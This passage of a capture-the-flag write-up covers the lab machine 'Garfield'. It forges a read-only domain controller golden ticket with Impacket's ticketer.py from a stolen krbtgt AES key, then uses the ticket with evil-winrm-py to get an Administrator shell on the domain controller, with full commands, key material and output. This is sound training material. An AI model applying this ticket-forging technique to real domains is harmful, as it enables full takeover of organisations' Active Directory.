Base64(key) : ZrTIsOmf1xW8dRQPtmbYU7QUff9uwiyaqf0iPXvvFO8=
Password Hash : EE238F6DEBC752010428F20875B092D5
This gives the same Administrator NTLM as the other method.
RODC Golden Ticket from Linux
From Linux, I can use the krbtgt_8245 AES key to sign a TGT as Administrator, but only with a yet-to-be-merged PR that adds support for the RODC number (interestingly this PR was created two days after Garfield launched):
oxdf@hacky$ ticketer.py -aesKey d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 -domain-sid S-1-5-21-2502726253-3859040611-225969357 -domain garfield.htb -rodcNo 8245 -user-id 500 Administrator
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[*] RODC golden ticket mode: kvno will be encoded with RODC number 8245
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for garfield.htb/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
-rodcNo 8245 encodes the RODC number into the ticket’s key version so DC01 knows which krbtgt key to check it against.
This only works because Administrator is on the allow list and not on the deny groups for RODC replication. Now I can use that to log into DC01 and it will accept it (I will need an updated /etc/krb5.conf):
oxdf@hacky$ KRB5CCNAME=Administrator.ccache evil-winrm-py -i DC01.garfield.htb -k
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'DC01.garfield.htb:5985' as 'Administrator@GARFIELD.HTB'
evil-winrm-py PS C:\Users\Administrator\Documents>
